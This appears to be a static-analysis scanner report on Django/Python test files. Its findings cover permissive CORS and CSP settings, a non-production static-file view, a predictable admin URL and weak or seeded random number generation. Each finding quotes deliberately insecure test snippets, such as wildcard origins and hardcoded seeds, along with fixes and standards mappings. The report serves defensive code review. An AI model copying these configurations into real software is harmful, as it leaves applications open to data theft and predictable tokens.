[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-4 Information Flow Enforcement
[11] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[12] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[13] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[14] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.3 Input Validation Requirements, 5.1.4 Input Validation Requirements, 14.4.6 HTTP Security Headers Requirements, 14.5.3 Validate HTTP Request Header Requirements
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[34] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)

HTML5: Overly Permissive CORS Policy

Description

The program defines an overly permissive Cross-Origin Resource Sharing (CORS) policy.

Explanation

Prior to HTML5, Web browsers enforced the Same Origin Policy which ensures that in order for JavaScript to access the contents of a Web page, both the JavaScript and the Web page must originate from the same domain. Without the Same Origin Policy, a malicious website could serve up JavaScript that loads sensitive information from other websites using a client's credentials, cull through it, and communicate it back to the attacker. HTML5 makes it possible for JavaScript to access data across domains if a new HTTP header called Access-Control-Allow-Origin is defined. With this header, a Web server defines which other domains are allowed to access its domain using cross-origin requests. However, exercise caution when defining the header because an overly permissive CORS policy can enable a malicious application to inappropriately communicate with the victim application, which can lead to spoofing, data theft, relay, and other attacks.

Example 1: The following is an example of using a wildcard to programmatically specify to which domains the application is allowed to communicate.

```
response.addHeader("Access-Control-Allow-Origin", "*")
```

Using * as the value of the Access-Control-Allow-Origin header indicates that the application's data is accessible to JavaScript running on any domain.

Severity

Medium

Vulnerabilities

File tests\HTML5__Overly_Permissive_CORS_Policy.py, Line 1, Pos 1

```
CORS_ALLOW_ALL_ORIGINS = True
```

File tests\HTML5__Overly_Permissive_CORS_Policy.py, Line 3, Pos 1

```
cors_allowed_origins = ["*"]
```

Recommendations

- Do not use "*" value - set all domain names explicitly

Links

[1] W3C Cross-Origin Resource Sharing (http://www.w3.org/TR/cors/)
[2] Enable Cross-Origin Resource Sharing (http://enable-cors.org/)
[3] Michael Schmidt HTML5 Web Security
[4] Philippe De Ryck, Lieven Desmet, Pieter Philippaerts, and Frank Piessens A Security Analysis of Next Generation Web Standards
[5] Standards Mapping - Common Weakness Enumeration CWE ID 942
[6] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414
[7] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[9] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-4 Information Flow Enforcement
[10] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[11] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[12] Standards Mapping - OWASP Mobile 2014 M5 Poor Authorization and Authentication
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.4.6 HTTP Security Headers Requirements, 14.5.3 Validate HTTP Request Header Requirements
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8

[20] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[34] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)

HTML5: Overly Permissive Content Security Policy

Description

Content Security Policy (CSP) is configured with an overly permissive policy which can pose security risks.

Explanation

Content Security Policy (CSP) is a declarative security header that enables developers to specify allowed security-related behavior within the browser, including an allow list of locations from which content can be retrieved. It provides an additional layer of security from critical vulnerabilities such as cross-site scripting, clickjacking, cross-origin access and the like, on top of input validation and checking an allow list in code. An improperly configured header, however, fails to provide this additional layer of security. The policy is defined with the help of 15 directives including 8 that control resource access: script-src, img-src, object-src, style_src, font-src, media-src, frame-src, connect-src. These 8 directives take a source list as a value that specifies domains the site is allowed to access for a feature covered by that directive. Developers can use a wildcard * to indicate all or part of the source. Additional source list keywords such as 'unsafe-inline' and 'unsafe-eval' provide more granular control over script execution but are potentially harmful. None of the directives are mandatory. Browsers either allow all sources for an unlisted directive or derive its value from the optional default-src directive. Furthermore, the specification for this header has evolved over time. It was implemented as X-Content-Security-Policy in Firefox until version 23 and in IE until version 10, and was implemented as X-Webkit-CSP in Chrome until version 25. Both of these names are deprecated in favor of the now standard name Content Security Policy. Given the number of directives, two deprecated alternate names, and the way multiple occurrences of the same header and repeated directives in a single header are treated, there is a high probability that a developer can misconfigure this header.

In this case, a *-src directive has been configured with an overly permissive policy such as *Example 1: The following django-csp setting sets an overly permissive and insecure default-src directive:

```
...
MIDDLEWARE_CLASSES = (
...
'csp.middleware.CSPMiddleware',
...
)
...
CSP_DEFAULT_SRC = ("'self'", '*')
...
```

Severity

Medium

Vulnerabilities

File tests\HTML5__Overly_Permissive_Content_Security_Policy.py, Line 1, Pos 1

```
csp_whatever_src = ["something.com", "*"]
```

Recommendations

- Do not use overly permissive '*' value for CSP - set all possible sources explicitly

Links

[1] OWASP Content Security Policy (https://www.owasp.org/index.php/Content_Security_Policy)
[2] W3C Content Security Policy 1.1 (http://www.w3.org/TR/2014/WD-CSP11-20140211/)
[3] Mozilla django-csp (http://django-csp.readthedocs.org/en/latest/index.html)
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414
[5] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)

[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-4 Information Flow Enforcement
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[31] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)

Insecure Deployment: Non Production Ready

Description

The application contains a component that is not designed to be deployed on a production environment.

Explanation

The Django application exposes the serve view of the static files application which is not designed to be deployed in a production environment. According to Django documentation:

"The static files tools are mostly designed to help with getting static files successfully deployed into production. This usually means a separate, dedicated static file server, which is a lot of overhead to mess with when developing locally. Thus, the staticfiles app ships with a quick and dirty helper view that you can use to serve files locally in development.

This view will only work if DEBUG is True.

That's because this view is grossly inefficient and probably insecure. This is only intended for local development, and should never be used in production."

Severity

Low

Vulnerabilities

File tests\Insecure_Deployment__Non_Production_Ready.py, Line 7, Pos 43

```
7        re_path(r'^static/(?P<path>.*)$', views.serve),
```

File tests\Insecure_Deployment__Non_Production_Ready.py, Line 10, Pos 1

```
10 views.serve(request, path)
```

Recommendations

- Remove a non-production code from the application before deployment

Links

[1] Django Foundation The staticfiles app
(https://docs.djangoproject.com/en/dev/ref/contrib/staticfiles/)
[2] Django Foundation Managing static files
(https://docs.djangoproject.com/en/dev/howto/static-files/)
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000381
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 10.2 - Threat and Vulnerability Management
[6] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 10.2 - Threat and Vulnerability Management

[7] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001500 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001500 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001500 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001500 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001500 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001500 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001500 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001500 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001500 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001500 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001500 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001500 CAT II

Insecure Deployment: Predictable Resource Name

Description

Use of predictable names for sensitive resources could aid an attacker in the application discovery process.

Explanation

Application resources containing sensitive information or providing privileged functionality are generally at a greater risk of exploitation. During the reconnaissance phase, an attacker will make attempts to discover such files and directories. Using predictable naming schemes for such resources makes it easier for the attacker to locate them. All the application resources that deal with sensitive functionality such as authentication, administrative tasks, or handling of private information must be sufficiently protected from discovery.

Example 1: In the following example, the admin application is deployed in a predictable URL:

```
from django.conf.urls import patterns
from django.contrib import admin
admin.autodiscover()
urlpatterns = patterns('',
...
url(r'^admin/', include(admin.site.urls)),
...
```

Resources responsible for storing data must be separated from those that implement application functionality. Programmers must exercise caution when creating temporary or backup resources.

Severity

Low

Vulnerabilities

File tests\Insecure_Deployment__Predictable_Resource_Name.py, Line 6, Pos 5

```
    url(r'^admin/$', 'news.views.article_detail'),
```

Recommendations

● All the application resources that deal with sensitive functionality such as authentication, administrative tasks, or handling of private information must be sufficiently protected from discovery.

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 340
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[4] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-4 Information Flow Enforcement
[5] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[6] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[7] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[15] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[18] Standards Mapping - Web Application Security Consortium Version 2.00 Predictable Resource Location (WASC-34)

Insecure Randomness

Description

Standard pseudorandom number generators cannot withstand cryptographic attacks.

Explanation

Insecure randomness errors occur when a function that can produce predictable values is used as a source of randomness in a security-sensitive context.

Computers are deterministic machines, and as such are unable to produce true randomness. Pseudorandom Number Generators (PRNGs) approximate randomness algorithmically, starting with a seed from which subsequent values are calculated.

There are two types of PRNGs: statistical and cryptographic. Statistical PRNGs provide useful statistical properties, but their output is highly predictable and form an easy to reproduce numeric stream that is unsuitable for use in cases where security depends on generated values being unpredictable. Cryptographic PRNGs address this problem by generating output that is more difficult to predict. For a value to be cryptographically secure, it must be impossible or highly improbable for an attacker to distinguish between the generated random value and a truly random value. In general, if a PRNG algorithm is not advertised as being cryptographically secure, then it is probably a statistical PRNG and should not be used in security-sensitive contexts, where its use can lead to serious vulnerabilities such as easy-to-guess temporary passwords, predictable cryptographic keys, session hijacking, and DNS spoofing.

Example: The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.

```
def genReceiptURL(self,baseURL):
    randNum = random.random()
    receiptURL = baseURL + randNum + ".html"
    return receiptURL
```

This code uses the rand() function to generate "unique" identifiers for the receipt pages it generates. Since rand() is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.

Severity

Medium

Vulnerabilities

File tests\Insecure_Randomness.py, Line 3, Pos 5

```
3 a = random.random()
```

File tests\Insecure_Randomness.py, Line 4, Pos 5

```
4 b = random.randbytes(4)
```

File tests\Insecure_Randomness.py, Line 5, Pos 5

```
5 c = random.getrandbits(4)
```

Recommendations

- Use functions or hardware which use a hardware-based random number generation for all crypto.
- Use an appropriate module for geneneration of random data

Links

[1] J. Viega, G. McGraw Building Secure Software Addison-Wesley
[2] Standards Mapping - Common Weakness Enumeration CWE ID 338
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[4] Standards Mapping - FIPS200 MP
[5] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-13 Cryptographic Protection
[8] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[9] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[11] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.3.1 Authenticator Lifecycle Requirements, 2.6.2 Look-up Secret Verifier Requirements, 3.2.2 Session Binding Requirements, 3.2.4 Session Binding Requirements, 6.3.1 Random Values, 6.3.2 Random Values, 6.3.3 Random Values
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3

[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.3 - Use of Cryptography
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.3 - Use of Cryptography, Control Objective B.2.4 - Terminal Software Design
[22] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 330
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.2 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.2 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.2 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.2 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.2 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.2 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.2 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II

Insecure Randomness: Hardcoded Seed

Description

Functions that generate random or pseudorandom values, which are passed a seed, should not be called with a constant integer argument.

Explanation

Functions that generate pseudorandom values, which are passed a seed, should not be called with a constant integer argument. If a pseudorandom number generator is seeded with a specific value, the values returned are predictable.

Example 1: The values produced by the pseudorandom number generator are predictable in the first two blocks because both start with the same seed.

```
...
import random
random.seed(123456)
print "Random: %d" % random.randint(1,100)
print "Random: %d" % random.randint(1,100)
print "Random: %d" % random.randint(1,100)

random.seed(123456)
print "Random: %d" % random.randint(1,100)
print "Random: %d" % random.randint(1,100)
print "Random: %d" % random.randint(1,100)
...
```

In this example the PRNGs were identically seeded, so each call to randint() after the call that seeded the pseudorandom number generator (random.seed(123456)), will result in the same outputs in the same output in the same order. For example, the output might resemble the following:

```
Random: 81
Random: 80
Random: 3
Random: 81
Random: 80
Random: 3
```

These results are far from random.

Severity

Low

Vulnerabilities

File tests\Insecure_Randomness__Hardcoded_Seed.py, Line 3, Pos 1

```
3 random.seed(4)
```

File tests\Insecure_Randomness__Hardcoded_Seed.py, Line 4, Pos 1

```
4 random.seed("df")
```

Recommendations

- Do not reuse PRNG seeds. Consider a PRNG that periodically re-seeds itself as needed from a high quality pseudo-random output, such as hardware devices.

Links

[1] J. Viega, G. McGraw Building Secure Software Addison-Wesley

[2] Elaine Barker and John Kelsey NIST Special Publication 800-90A: Recommendation for Random Number Generation Using Deterministic Random Bit Generators NIST (http://csrc.nist.gov/publications/nistpubs/800-90A/SP800-90A.pdf)
[3] Elaine Barker and John Kelsey NIST DRAFT Special Publication 800-90B: Recommendation for the Entropy Sources Used for Random Bit Generation NIST (http://csrc.nist.gov/publications/drafts/800-90/draft-sp800-90b.pdf)
[4] Elaine Barker and John Kelsey DRAFT NIST Special Publication 800-90C: Recommendation for Random Bit Generator (RBG) Constructions NIST (http://csrc.nist.gov/publications/drafts/800-90/draft-sp800-90c.pdf)
[5] Standards Mapping - Common Weakness Enumeration CWE ID 336
[6] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[7] Standards Mapping - FIPS200 MP
[8] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-13 Cryptographic Protection
[11] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[12] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[13] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.3.1 Authenticator Lifecycle Requirements, 2.6.2 Look-up Secret Verifier Requirements, 6.3.3 Random Values
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.3 - Use of Cryptography
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.3 - Use of Cryptography, Control Objective B.2.4 - Terminal Software Design
[25] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 330
[26] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.2 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.2 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.2 CAT II

[29] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.2 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.2 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.2 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.2 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II

Insecure Randomness: Weak Entropy Source

Description

The random or pseudorandom number generator relies on a weak entropy source.

Explanation

The lack of a proper source of entropy for use by the random or pseudorandom number generator may lead to denial of service or generation of predictable sequences of numbers. If the random or pseudorandom number generator uses the source of entropy that runs out, the program may pause or even crash, leading to denial of service. Alternatively, the random or pseudorandom number generator may produce predictable numbers. A weak source of random numbers may lead to vulnerabilities such as easy-to-guess temporary passwords, predictable cryptographic keys, session hijacking, and DNS spoofing.

Example 1: The following code uses the system clock as the entropy source:

```
...
import time
import random
...
random.seed(time.time())
...
```

Since system clock generates predictable values, it is not a good source of entropy. Same goes for other non-hardware-based sources of randomness, including system/input/output buffers, user/system/hardware/network serial numbers or addresses, as well as user input.

Severity

Medium

